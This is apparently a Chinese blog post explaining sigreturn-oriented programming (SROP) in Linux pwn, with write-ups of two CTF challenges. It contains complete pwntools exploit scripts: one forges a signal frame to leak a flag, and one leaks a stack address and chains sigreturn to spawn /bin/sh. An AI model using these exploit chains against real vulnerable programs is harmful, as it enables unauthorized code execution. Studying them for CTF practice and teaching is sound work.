SROP

参考书籍:《CTF权威指南(PWN篇)》

ROP与SROP区别

ROP是通过简单的栈溢出,覆盖返回地址并执行gadgets控制执行流;不同的是,SROP使用能

够调用sigreturn的gadget覆盖返回地址,并将伪造一个sigcontext结构体放到栈中

SROP 原理

先讲一下Linux系统调用:

  • 64位与32位系统调用表分别位于/usr/include/asm/unistd_64.h和/usr/include/asm/united_32.h,另外还需要查看/usr/include/bits/syscall.h

  • 在早期的linux中,使用int 0x80中断进入系统调用,但是这样会进行用户级别检查、压栈和跳转等操作,十分浪费资源

  • 后来,出现了sysenter/sysexit两种新的系统调用方式,前者用于从Ring3进入Ring0,后者相反;优点是执行速度快

signal机制:

当某个进程发生中断时,内核会向该进程发送一个signal信号,此时的进程会被暂停(挂起),并且程序进入内核态,然后内核会保存进程的上下文信息(注:例如保存所有!的寄存器的值,这是为了在执行完内核后,能够准确的回到该进程之前的状态),再跳转到之前注册好的signal handler中进行处理,执行完signal handler后,内核会执
行sigreturn系统调用恢复之前保存的上下文

下面张图展示了整个过程(图来自合天网安)

下面是执行完signal handler后时的栈顶:

弱点

程序在执行sigreturn系统调用时,不会检查栈顶,他就不知道栈上的值还是不是之前保存的

值,所以这就给了我们攻击的机会。伪造栈顶寄存器的值,执行execve("/bin/sh",0,0),

攻击条件

需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • "/bin/sh"
    • Signal Frame
    • syscall
    • sigreturn
  • 需要有够大的空间来塞下整个 sigal frame

pwntools已经帮我们集成好了攻击模块,记住模板就行

## make the rsp point to stack_addr 
## the frame is read(0,stack_addr,0x400) 
sigframe = SigreturnFrame() 
sigframe.rax = constants.SYS_read 
sigframe.rdi = 0 
sigframe.rsi = stack_addr 
sigframe.rdx = 0x400 
sigframe.rsp = stack_addr 
sigframe.rip = syscall_ret

例题1(Backdoor CTF :2017 fun signals):

题目地址:Akash Trehan · BackdoorCTF 2017 - Fun Signals

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x10000000)
    Stack:    Executable
    RWX:      Has RWX segments

打开IDA后,看到旁边居然没有函数列表(震惊),不能反汇编,只能看汇编代码

可以看到,在_start函数中有两个syscall。第一个是read(0,$rsp,0x400),第二个就是sigreturn()(系统调用号为0xf)(注意,因为本题是64位,所以这个是64位程

序中系统调号,32位可能不一样)

flag其实就在二进制文件中,读取他需要执行write(1,&flag,50),系统调用号为0x1,而函数syscall()正好为我们提供了syscall指令

脚本如下:

from pwn import *

elf = ELF("./pwn")
io = process("./pwn")

context.clear()
context.arch = "amd64"

# 利用pwntools工具构造假的栈帧,因为sigreturn不会检查
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.sym["flag"]
frame.rdx = 50
frame.rip = elf.sym["syscall"]

io.sendline(bytes(frame))
io.interactive()

例题2

题目地址:BUUCTF在线评测 (buuoj.cn)

首先说一下个人的问题:在我自己的机子上调试出来的binsh地址与远程上差距0x10,导致远

程打不通,可是本地能打通

这个后来问题解决了:原因是我本地的环境是ubuntu20,但是题目要求的环境是Ubuntu18,导致栈的布局不同,使用patchelf打上补丁后就可以将本地环境和远程环境同步了

对于打补丁,这是pwn经常使用的操作,这里推荐一个小工具https://github.com/ZIKH26/patchup

思考流程

先看一下漏洞函数:vuln存在栈溢出漏洞

╰─➤  checksec pwn
[*] '/ctf/work/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,没有NX保护,我们肯定首先想到ret2libc那一套,所以我们需要去找一些控制寄存

器的gadgets:

很遗憾没有控制rbx的gadgets,所以就不能使用execve("/bin/sh",0,0)

思考,那能不能使用system呢?

同样遗憾,文件没有puts或者write的plt,导致我们不能泄露出got表,所以不能使用system

此时我们可以想到万金油寄存器控制段csu:在这里我们就能控制rbx了,这是解题的一种办法,但是这里我不涉及,想了解的师傅可以参考以下文章:BUUCTF Ret2Csu ciscn_s_3_byyctf ret2csu-CSDN博客

我想讲的是SROP方法,这比上一种方法更简单

流程

就像上面讲的一样,做SROP我们需要知道/bin/sh地址,所以这里就需要站泄露,把我们

自己输入的在栈上的/bin/sh地址泄露出来。

下面是泄露过程:

泄露脚本:

from pwn importfrom pwn import p64,u64,p32,u32
import time # 在发送数据前最好sleep一下,避免卡住

context(log_level="debug",os="linux",arch="amd64",terminal=["tmux","sp","-h"])

# io=remote("node5.buuoj.cn",25863)
io=process("./pwn")
elf=ELF("./pwn")

gscript = '''
    b * 0x400501   # 断点位置
    c
'''

def s(a) :
    sleep(0.5)
    io.send(a)
def sa(a, b) :
    sleep(0.5)
    io.sendafter(a, b)
def sl(a) :
    sleep(0.5)
    io.sendline(a)
def sla(a, b) :
    sleep(0.5)
    io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def rl(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
    gdb.attach(io,gdbscript=gscript)

vuln = elf.sym["vuln"]
offset = 0x10
syscall = 0x400517    # syscall进行系统调用
sigreturn = 0x4004DA

# 解释一下这里为什么是0x10,而不需要+8覆盖rbp,因为vuln函数返回是直接ret,而没有leave,所# 以程序是直接把rbp当做是返回地址,故不用+8

payload = b"/bin/sh\x00"
payload = payload.ljust(0x10,b"a")
payload += p64(vuln)

debug()

pause()
sl(payload)

pause()
io.recv(0x20)

binsh = u64(io.recv(8)) - 0x128  # 本人调试就是0x128偏移,见下面的调试过程,打上补丁后就是0x118了
print("binsh addr is %s" %hex(binsh))
pause()

发送payload后:$rsp-0x10位置就是/bin/sh,后面接着是aaaa...,此时rsp和rbp在同一个位置,该位置保存着vuln地址,让我们可以再次返回到vuln进行输入后序攻击payload

调用write函数打印:从 ① 开始打印 ② 0x30个字节,会把 ③ 中的值 ④打印出来,需要注

意的是 ④也是一个栈上的地址,他保存程序文件的名字,也就是argv[0],通过它可以计算出

他与所有栈上信息的偏移,

io.recv(0x20)

所以我们需要先接受0x20字节,然后的8字节就是④,此时的/bin/sh在①处,所以计算偏

移为:0x128(打上补丁后就是0x118了)

攻击

脚本:攻击本地

from pwn importfrom pwn import p64,u64,p32,u32
import time # 在发送数据前最好sleep一下,避免卡住

context(log_level="debug",os="linux",arch="amd64",terminal=["tmux","sp","-h"])

# io=remote("node5.buuoj.cn",25863)
io=process("./pwn")
elf=ELF("./pwn")

gscript = '''
    b * 0x400501   # 断点位置
    c
'''

def s(a) :
    sleep(0.5)
    io.send(a)
def sa(a, b) :
    sleep(0.5)
    io.sendafter(a, b)
def sl(a) :
    sleep(0.5)
    io.sendline(a)
def sla(a, b) :
    sleep(0.5)
    io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def rl(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
    gdb.attach(io,gdbscript=gscript)

vuln = elf.sym["vuln"]
offset = 0x10
syscall = 0x400517    # syscall进行系统调用
sigreturn = 0x4004DA

# 解释一下这里为什么是0x10,而不需要+8覆盖rbp,因为vuln函数返回是直接ret,而没有leave,所# 以程序是直接把rbp当做是返回地址,故不用+8

payload = b"/bin/sh\x00"
payload = payload.ljust(0x10,b"a")
payload += p64(vuln)

sl(payload)

io.recv(0x20)

binsh = u64(io.recv(8)) - 0x128 # 打上补丁后就是0x118了
print("binsh addr is %s" %hex(binsh))

# SROp过程
# 构造假frame,调用execve
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b"/bin/sh\x00"
payload = payload.ljust(0x10,b"a")
payload += p64(sigreturn) + p64(syscall)
payload += bytes(frame)

sl(payload)

inter()
posted @   _Ya0  阅读(23)  评论(0编辑  收藏  举报
编辑推荐:
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
· 一次Java后端服务间歇性响应慢的问题排查记录
· dotnet 源代码生成器分析器入门
· ASP.NET Core 模型验证消息的本地化新姿势
阅读排行:
· 从零开始开发一个 MCP Server!
· ThreeJs-16智慧城市项目(重磅以及未来发展ai)
· .NET 原生驾驭 AI 新基建实战系列(一):向量数据库的应用与畅想
· Ai满嘴顺口溜,想考研?浪费我几个小时
· Browser-use 详细介绍&使用文档
点击右上角即可分享
微信分享提示